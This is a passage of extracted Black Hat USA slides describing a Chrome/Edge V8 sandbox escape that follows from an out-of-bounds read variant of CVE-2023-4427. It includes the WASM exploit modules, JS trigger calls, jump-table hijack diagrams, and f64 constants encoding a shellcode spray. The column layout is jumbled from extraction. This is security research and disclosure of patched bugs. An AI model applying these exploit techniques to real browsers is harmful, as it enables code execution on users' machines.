auto* wasm_function =
&target_instance_data->module()->functions[func_index];
78 #BHUSA @BlackHatEvents
WASM Basics – Table and Indirect Call
WasmInstanceObject
void WasmTableObject::UpdateDispatchTables(
Map Isolate* isolate, Handle<WasmTableObject> table, int entry_index,
const wasm::WasmFunction* func,
Trusted Ptr Table
Handle<WasmTrustedInstanceData> target_instance_data) {
Index ...
WasmModuleObject Address call_target = target_instance_data->GetCallTarget(func->func_index);
...
Trusted
Pointer Table for (int i = 0, len = uses->length(); i < len; i += TableUses::kNumElements) {
int table_index = Smi::cast(uses->get(i + TableUses::kIndexOffset)).value();
0 Type+Pointer
1 Type+Pointer Handle<WasmInstanceObject> instance_object = handle(
WasmInstanceObject::cast(uses->get(i + TableUses::kInstanceOffset)),
isolate);
WasmTrustedInstanceData ...
Map Tagged<WasmTrustedInstanceData> instance_data =
instance_object->trusted_data(isolate);
…
wasm_dispatch_table instance_data->dispatch_table(table_index)
->Set(entry_index, *call_ref, call_target, sig_id);
jump_table_start }
… }
dispatch_table call_target …
Index 0 …
79 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
Address WasmTrustedInstanceData::GetCallTarget(
Control of WASM Instance 0 RWX Memory
uint32_t func_index
) {
callTarget
0x3e4058452000 jmp 0x3e4058452840
wasm::NativeModule* native_module = Main Jump
module_object()->native_module(); 0x3e4058452005 0x0000000000
… 0x3e405845200a 0x0000000000 Table
return jump_table_start() + … …
JumpTableOffset( 0x3e4058452040 jmp qword ptr[rip+0x2]
native_module->module(), func_index … …
); 0x3e4058452048 0x7ffff3d23780
}
Far Jump
… … Table
0x3e4058452050 jmp qword ptr[rip+0x2]
uint32_t JumpSlotIndexToOffset(uint32_t slot_index) { … …
uint32_t line_index = slot_index / 0x3e4058452050 0x7ffff3d23c00
kJumpTableSlotsPerLine; … …
uint32_t line_offset = 0x3e4058452840 push rbp
(slot_index % kJumpTableSlotsPerLine) * 0x3e4058452841 mov rbp,rsp
kJumpTableSlotSize;
Compiled
0x3e4058452844 push 0x8 code
return line_index * kJumpTableLineSize + 0x3e4058452846 push rsi
line_offset; 0x3e4058452847 sub rsp,0x10
… …
}
80 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
WASM Instance 0 RWX Memory
…
jump 0x3e4058452000 jmp 0x3e4058452840
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Main Jump
0x3e405845200a 0x0000000000 Table
wasm_instance_1.exports.main(1000);
… …
0x3e4058452040 jmp qword ptr[rip+0x2]
Access
… …
dispatch_table call_target of … 0x3e4058452048 0x7ffff3d23780 Far Jump
indirect … … Table
function 0x3e4058452050 jmp qword ptr[rip+0x2]
Index 0 … … …
0x3e4058452050 0x7ffff3d23c00
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp Compiled
0x3e4058452844 push 0x8 code
0x3e4058452846 push rsi
0x3e4058452847 sub rsp,0x10
… …
81 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
Address WasmTrustedInstanceData::GetCallTarget(
Control of WASM Instance 0 RWX Memory
uint32_t func_index
) {
callTarget
0x3e4058452000 jmp 0x3e4058452840
wasm::NativeModule* native_module = Main Jump
module_object()->native_module(); 0x3e4058452005 0x0000000000
… 0x3e405845200a 0x0000000000 Table
return jump_table_start() + … …
JumpTableOffset( 0x3e4058452040 jmp qword ptr[rip+0x2]
native_module->module(), func_index … …
); 0x3e4058452048 0x7ffff3d23780
}
Far Jump
… … Table
0x3e4058452050 jmp qword ptr[rip+0x2]
… …
Control of func_index 0x3e4058452050 0x7ffff3d23c00
… …
0x3e4058452840 push rbp
Control of callTarget mov rbp,rsp
0x3e4058452841 Compiled
0x3e4058452844 push 0x8 code
0x3e4058452846 push rsi
Control flow 0x3e4058452847 sub rsp,0x10
Hijacking … …
primitive inside
RWX memory
82 #BHUSA @BlackHatEvents
Let the WebAssembly
Assemble:
The Sandbox Escape
#BHUSA @BlackHatEvents
V8 Sandbox Escape – The Setup
WASM Module 0 WASM Module 1
(module (module
(func $indirect (result f32) (type $whatever (func (result f32)))
f32.const 0.015 (import "env" "tbl" (table $tb 1 funcref))
) (func $exploit (param $parametre f32) (result f32)
(export "indirect" (func $indirect)) (f32.mul
) (call_indirect (type $whatever) (i32.const 0))
(local.get $parametre)
)
WASM Module 2 )
(export ”exploit" (func $exploit))
(module )
(func (export "f0") nop)
(func (export "f1") nop)
(func (export "f2") nop)
(func (export "f3") nop)
…
(func (export "fN") (result f32)
f32.const 0.015
)
)
84 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Field Confusion
Address Space
V8 Sandbox
Wasm Instance 0
Wasm Module 0
Map
Map
Trusted Ptr Table Index
…
WasmModuleObject
85 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Field Confusion
Address Space
V8 Sandbox
Wasm Instance 0
Wasm Module 0
Map
Map
Trusted Ptr Table Index
…
WasmModuleObject
Wasm Instance 2
Map Wasm Module 2
Trusted Ptr Table Index Map
WasmModuleObject …
86 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Index Change
Address Space
V8 Sandbox
“indirect” Function “indirect” Shared Info “indirect” Function Data
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … Wasm Instance 0
Index = 0
87 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Index Change
Address Space
V8 Sandbox
“indirect” Function “indirect” Shared Info “indirect” Function Data
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … Wasm Instance 0
Index = N
88 #BHUSA @BlackHatEvents
V8 Sandbox Escape
Address Space
V8 Sandbox
“indirect” Function “indirect” Shared Info “indirect” Function Data
Map Map Map
SharedFunctionInfo WasmExportedFunctionData WasmInternalFunction
… … Wasm Instance 0
Index = N
Wasm Instance 0
Map
Trusted Ptr Table Wasm Module 2
Index Map
WasmModuleObject …
Trusted Pointer
Table Wasm Trusted Instance 0
Data
0 Type+Pointer
Map
1 Type+Pointer
wasm_dispatch_table
89 #BHUSA @BlackHatEvents
V8 Sandbox Escape
void WasmTableObject::SetFunctionTableEntry(Isolate* isolate,
…
Handle<WasmTableObject> table,
int entry_index,
tbl.set(0, indirect);
Handle<Object> entry) {
...
wasm_instance_1.exports.exploit(1337);
Handle<Object> external = WasmInternalFunction::GetOrCreateExternal(
handle(WasmFuncRef::cast(*entry)->internal(isolate), isolate));
if (WasmExportedFunction::IsWasmExportedFunction(*external)) {
auto exported_function = Handle<WasmExportedFunction>::cast(external);
func_index = N
Handle<WasmTrustedInstanceData> target_instance_data(
exported_function->instance()->trusted_data(isolate), isolate);
90 #BHUSA @BlackHatEvents
WASM Internals – Table and Indirect Call
void WasmTableObject::UpdateDispatchTables(
Isolate* isolate, Handle<WasmTableObject> table, int entry_index,
const wasm::WasmFunction* func,
Handle<WasmTrustedInstanceData> target_instance_data) {
Instance data ...
Address call_target = target_instance_data->GetCallTarget(func->func_index);
of Instance 0 ...
instance_data->dispatch_table(table_index)
->Set(entry_index, *call_ref, call_target, sig_id);
}
}
91 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Escaping
WASM Instance 0 RWX Memory
…
0x3e4058452000 jmp 0x3e4058452840
Main Jump
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Table
0x3e405845200a 0x0000000000
wasm_instance_1.exports.exploit(1337);
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp
dispatch Null Null … 0x3e4058452844 push 0x8
_table 0x3e4058452846 push rsi
Index 0 1 … 0x3e4058452847 sub rsp,0x10
0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
0x3e4058452852 jbe 0x3e405845287b Compiled
code
0x3e4058452858 mov r10d,0x3c75c28f
0x3e405845285e vmovd xmm0,r10d
0x3e4058452863 mov r10,QWORD PTR [rsi+0x67]
0x3e4058452867 sub DWORD PTR [r10+0x4],0x23
0x3e405845286c js 0x3e4058452886
0x3e4058452872 vmovss xmm1,xmm1,xmm0
… …
92 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Escaping
WASM Instance 0 RWX Memory
…
0x3e4058452000 jmp 0x3e4058452840
Main Jump
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Table
0x3e405845200a 0x0000000000
wasm_instance_1.exports.exploit(1337);
… …
0x3e4058452840 push rbp
0x3e4058452841 mov rbp,rsp
dispatch callTarget=jmp_table_start+N Null … 0x3e4058452844 push 0x8
_table 0x3e4058452846 push rsi
Index 0 1 … 0x3e4058452847 sub rsp,0x10
0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
0x3e4058452852 jbe 0x3e405845287b Compiled
code
0x3e4058452858 mov r10d,0x3c75c28f
0x3e405845285e vmovd xmm0,r10d
0x3e4058452863 mov r10,QWORD PTR [rsi+0x67]
0x3e4058452867 sub DWORD PTR [r10+0x4],0x23
0x3e405845286c js 0x3e4058452886
0x3e4058452872 vmovss xmm1,xmm1,xmm0
… …
93 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Escaping
WASM Instance 0 RWX Memory
…
0x3e4058452000 jmp 0x3e4058452840
Main Jump
tbl.set(0, indirect); 0x3e4058452005 0x0000000000 Table
0x3e405845200a 0x0000000000
wasm_instance_1.exports.exploit(1337);
… …
0x3e4058452840 push rbp
Access
0x3e4058452841 mov rbp,rsp
dispatch callTarget=jmp_table_start+N Null … 0x3e4058452844 push 0x8
_table 0x3e4058452846 push rsi
Index 0 1 … 0x3e4058452847 sub rsp,0x10
jmp_table_start+N
0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
0x3e4058452852 jbe 0x3e405845287b Compiled
code
0x3e4058452858 mov r10d,0x3c75c28f
0x3e405845285e vmovd xmm0,r10d
jump 0x3e4058452863 mov r10,QWORD PTR [rsi+0x67]
Control Flow 0x3e4058452867 sub DWORD PTR [r10+0x4],0x23
0x3e405845286c js 0x3e4058452886
Hijacking
0x3e4058452872 vmovss xmm1,xmm1,xmm0
primitive … …
94 #BHUSA @BlackHatEvents
V8 Sandbox Escape – Code Execution
Control Flow
Code
Hijacking
Execution
primitive
95 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Code Execution
WASM Module 0 WASM Instance 0 RWX Memory
(module
(func (export "spray") (result f64) 0x3e4058452000 jmp 0x3e4058452840
Main Jump
f64.const 1.63052427775809e-270 0x3e4058452005 jmp 0x3e405845280a Table
f64.const 1.6181477236817195e-270 0x3e405845200a 0x0000000000
f64.const 1.6177848829038078e-270 … …
f64.const 1.630523884017562e-270
f64.const 1.6305240634909753e-270 0x3e4058452840 push rbp
f64.const 1.6175077909294658e-270 0x3e4058452841 mov rbp,rsp
f64.const 1.6456885606567564e-270 push 0x8
0x3e4058452844
f64.const 1.6305242777505848e-270
drop 0x3e4058452846 push rsi
drop 0x3e4058452847 sub rsp,0x10
drop 0x3e405845284e cmp rsp,QWORD PTR [r13-0x60]
drop 0x3e4058452852 jbe 0x379ded7718ea Compiled
drop movabs r10,0x7eb909090909090
code
0x3e4058452858
drop
0x3e4058452862 vmovq xmm0,r10
drop
) 0x3e4058452867 movabs r10,0x7eb5b0068732f68
(func $indirect (result f32) 0x3e4058452871 vmovq xmm1,r10
f32.const 0.015 0x3e4058452876 movabs r10,0x7eb596e69622f68
) vmovq xmm2,r10
0x3e4058452880
(export "indirect" (func $indirect))
) … …
96 #BHUSA @BlackHatEvents
V8 Sandbox Escape - Code Execution
…
WASM Instance 0 RWX Memory
97 #BHUSA @BlackHatEvents
Putting It All Together
• A OOB read vulnerability - a variant of CVE-2023-4427
• From a OOB read vulnerability to the fakeobj primitive by
controlling the offset of the OOB read and using some advanced
heap manipulation techniques
• From the fakeobj primitive to more powerful exploit primitives:
addrof, arbitrary read, arbitrary write – elegantly solving the
exploit stability issues
• Use those exploit primitives for “field confusion” and hijack WASM
call target address to jump into a controlled offset of the WASM
RWX memory to execute the shellcode directly outside the V8
sandbox
• Fit both Chrome and Chromium based MSEdge for a double tap
98 #BHUSA @BlackHatEvents
Demo
99 #BHUSA @BlackHatEvents
Summary & Takeaways
• History doesn’t repeat itself, but it rhymes
• Bugs are the same, how to (effectively and efficiently) predict
and discover the rhyming word worth more explorations
• A great exploit is an art
• The exploitation ideas and techniques are universal and can be
applied to other (similar) vulnerability exploitations
• Exploring the big gap between a working exploit and a close to
100% success rate exploit is a necessary way to be a master
• “Field confusion” inside the V8 sandbox would possibly
lead the way to a new V8 sandbox escape era
• Think about the defense for above all like an exploiter
#BHUSA @BlackHatEvents
References
[1] OffensiveCon24 - Samuel Groß - The V8 Heap Sandbox
https://youtu.be/5otAw81AHQ0?si=fFzTt8W4lSNggAC4
[2] Fast For-In in V8 - Camillo Bruni https://v8.dev/blog/fast-for-in
[3] Maps (Hidden Classes) in V8 https://v8.dev/docs/hidden-classes
[4] CVE-2023-4427 - Sergei Glazunov https://bugs.chromium.org/p/project-
zero/issues/detail?id=2477
[5] Patch CVE-2023-4427:
https://chromium-review.googlesource.com/c/v8/v8/+/4771019
[6] Patch CVE-2023-3159:
https://chromium-review.googlesource.com/c/v8/v8/+/5388435/3/src/objects/map-
updater.cc#b1051
[7] Patch V8 Sandbox Escape:
• https://chromium-review.googlesource.com/c/v8/v8/+/5401857/2/src/wasm/wasm-
objects.cc#b293
• https://chromium-review.googlesource.com/c/v8/v8/+/5484107